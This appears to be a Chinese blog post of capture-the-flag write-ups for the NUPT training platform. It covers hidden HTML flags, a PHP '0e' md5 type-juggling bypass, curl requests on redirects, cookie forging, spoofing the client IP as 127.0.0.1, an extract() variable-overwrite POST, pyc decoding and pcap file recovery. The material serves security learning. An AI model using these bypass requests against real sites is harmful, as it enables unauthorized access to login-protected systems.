2130 字
11 分钟
CTF浅尝
- Capture The Flag
- 题目位置 南京邮电大学网络攻防训练平台
签到题
- 打开题目,只有
key在哪里?几个字,打开开发者工具,直接找到 flag
<body> <a style="display:none">nctf{flag_admiaanaaaaaaaaaaa}</a>key在哪里?</body>- 第二个签到题,尝试输入口令,失败,打开控制台,发现输入框限制输入长度,直接编辑 html 删去限制,再次输入口令,得到 flag
<form action="./index.php" method="post"> <p> 输入框:<input type="password" value="" name="text1" maxlength="10" /><br /> 请输入口令:zhimakaimen <input type="submit" value="开门" /> </p></form>md5 collision
- 题目
$md51 = md5('QNKCDZO');$a = @$_GET['a'];$md52 = @md5($a);if(isset($a)){if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}";} else { echo "false!!!";}}else{echo "please input a";}- 以为是普通的 MD5 碰撞,尝试生成 MD5 查询碰撞,均查询不到
echo -n 'QNKCDZO' | md5sum0e830400451993494058024219903391- 询问MZI大佬后查询相关资料了解到是 PHP 弱类型转换漏洞,查找一个 hash 开头为
0e的字符串通过 - PHP Hash 比较存在缺陷,影响大量 Web 网站登录认证、忘记密码等关键业务
- PHP 处理 0e 开头 md5 哈希字符串缺陷/bug
这题不是 WEB
答案又是啥。。答案应该藏在附图中,保存图片,尝试用解压工具打开,失败。拖入 WinHex 中,在文件尾部找到 flag
AAencode
- 直接看是个乱码文件,看到文件是个 txt ,保存成文件打开,变成了颜文字
(≧▽≦)/结合题目提示(javascript aaencode)将颜文字贴到控制台运行得到 flag (神奇的 JS)
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"];o = ゚ー゚ = _ = 3;c = ゚Θ゚ = ゚ー゚ - ゚ー゚;゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o);゚Д゚ = { ゚Θ゚: "_", ゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚], ゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)], ゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],};゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o];゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚];゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚];゚o゚ = ゚Д゚["c"] + ゚Д゚["o"] + (゚ω゚ノ + "_")[゚Θ゚] + ((゚ω゚ノ == 3) + "_")[゚ー゚] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[゚Θ゚] + ((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] + ゚Д゚["c"] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ゚Д゚["o"] + ((゚ー゚ == 3) + "_")[゚Θ゚];゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚];゚ε゚ = ((゚ー゚ == 3) + "_")[゚Θ゚] + ゚Д゚.゚Д゚ノ + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] + ((゚ー゚ == 3) + "_")[゚Θ゚] + (゚ω゚ノ + "_")[゚Θ゚];゚ー゚ += ゚Θ゚;゚Д゚[゚ε゚] = "\\";゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)];o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o];゚Д゚[゚o゚] = '"';゚Д゚["_"]( ゚Д゚["_"]( ゚ε゚ + ゚Д゚[゚o゚] + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + (o ^ _ ^ o)) + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (o ^ _ ^ o) + (゚ー゚ + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + (゚ー゚ + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + (o ^ _ ^ o)) + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚o゚] )(゚Θ゚))("_");单身二十年/单身一百年也没用
单身二十年/这题可以靠技术也可以靠手速! 老夫单身二十年,自然靠的是手速!点击题目链接,观察到链接跳转行为,使用 curl 访问跳转前地址得到 flag 。由于这道题使用 javascript 跳转,也可以通过禁用 javascript 得到 flag
root@~$ curl http://chinalover.sinaapp.com/web8/search_key.php<script>window.location="./no_key_is_here_forever.php"; </script>key is : nctf{yougotit_script_now}root@~$单身一百年也没用/是的。。这一题你单身一百年也没用和上一题一样,点击链接会发生跳转,但是这次是 302 跳转。同样使用 curl 获取页面,在 Headers 中获得 flag (这题也可以通过查看浏览器开发者工具获得 flag)
root@~$ curl -v http://chinalover.sinaapp.com/web9/index.php< HTTP/1.1 302 Found< Server: sae< Date: Sun, 17 Dec 2017 09:49:12 GMT< Content-Type: text/html< Content-Length: 0< Connection: keep-alive< flag: nctf{this_is_302_redirect}< Location: http://chinalover.sinaapp.com/web8/no_key_is_here_forever.php< Via: 1527<* Connection #0 to host chinalover.sinaapp.com left intactCOOKIE
- 进入题目后提示
please login first!,根据题目提示,查找页面 cookies - 看到一个
Login的 cookies ,使用工具将值修改为 1,刷新,得到 flag
Py 交易
- 题目给了一个 .pyc 文件,使用工具(如 uncompyle2)反编译得到如下代码
#!/usr/bin/env python# encoding: utf-8import base64
def encode(message): s = '' for i in message: x = ord(i) ^ 32 x = x + 16 s += chr(x)
return base64.b64encode(s)
correct = 'XlNkVmtUI1MgXWBZXCFeKY+AaXNt'flag = ''print 'Input flag:'flag = raw_input()if encode(flag) == correct: print 'correct'else: print 'wrong'- 根据 encode 编写 decode 函数
#!/usr/bin/env python# encoding: utf-8import base64
# 解码# 字符 -> base64解码 -> 数字 -> -16 -> 异或32 -> 字符def decode(message): message = base64.b64decode(message) s = '' for i in message: x = ord(i) - 16 x = x ^ 32 s += chr(x)
return s
correct = 'XlNkVmtUI1MgXWBZXCFeKY+AaXNt'flag = decode(correct)print flag伪装者
- 题目如下
* * * * * * * * * * * * * * * * * * * * * * * * * * 管理系统只能在本地登陆 本系统外部禁止访问* * * * * * * * * * * * * * * * * * * * * * * * * *不是本地登陆你还想要flag?- 看起来需要伪装成内网访问才能获得 flag ,使用 curl 添加
X-Forwarded-For: 127.0.0.1伪装客户端 IP ,成功得到 flag
root@~$ curl http://chinalover.sinaapp.com/web4/xxx.php -H 'Client-IP: 127.0.0.1'<html><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<pre><br><br><br><br>* * * * * * * * * * * * * * * * * * * * * * * * * *<br><br> 管理系统只 能在本地登陆<br><br> 本系统外部禁止访问<br><br>* * * * * * * * * * * * * * * * * * * * * * * * * *<br></pre>nctf{happy_http_headers}</html>变量覆盖
- 题目核心代码如下
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?> <?php extract($_POST); if ($pass == $thepassword_123) { ?> <div class="alert alert-success"> <code><?php echo $theflag; ?></code> </div> <?php } ?><?php } ?>- 根据题目提示及代码,推测要利用
extract($_POST);覆盖 PHP 的原密码
root@~$ curl http://chinalover.sinaapp.com/web18/ -sd "pass=123&thepassword_123=123" | grep nctf <code>nctf{bian_liang_fu_gai!}</code>Remove Boyfriend
- 题目是一个文件
Remove+Boyfriend.pcapng,查看一下文件头发现是 Wireshark 的抓包文件。导入 Wireshark 分析,根据协议大致能猜出是使用 FTP 传输数据,分析 FTP-DATA 包得到如下三部分信息 - 第一部分是 FTP 文件列表,可以看到有一个明显的 flag.py
total 4-rw-r--r-- 1 LiuDong staff 1608061 Sep 14 19:43 Stan's XX.png-rw-r--r-- 1 LiuDong staff 730 Sep 14 19:39 flag.py-rw-r--r-- 1 LiuDong staff 36 Sep 14 19:20 jiade,doushijiade.txt- 第二部分是 flag.py
def Upper(ch): if ch>='A' and ch<='Z': return True
def Lower(ch): if ch>='a' and ch<='z': return True
def X1con(s): flag = '' for i in s: if Upper(i) == True: if i>='A' and i<='M': flag += chr(ord(i)+13) else: flag += chr(ord(i)-13) elif Lower(i) == True: if i>='a' and i<='m': flag += chr(ord(i)+13) else: flag += chr(ord(i)-13) else: flag += i return flag
if __name__ == "__main__": s = '{synt_vf_abg_urer}' print X1con(s)
'''emmmmm......Run this program you can get flag'''- 兴奋地运行!得到 flag
{flag_is_not_here}(╯‵□′)╯︵┻━┻ - 只能从后续的 FTP 数据找线索了
- 第三部分从数据头推断是一个 PNG 文件,结合第一部分的内容,推断这是
Stan's XX.png,这个文件被分割成多个数据包传输 - 尝试使用 Wireshark 的
追踪流功能追踪全部数据,将数据以原始数据保存,得到1.53 MB大小的文件,与第一部分信息想吻合,确认是 Stan’s XX.png (也能从 FTP 的数据包得到验证) - 将文件重命名为
Stan's XX.png打开,在图片左下角得到线索synt{jub_nz_1} - 用这条线索替换之前得到的 flag.py 中的字符串,运行得到 flag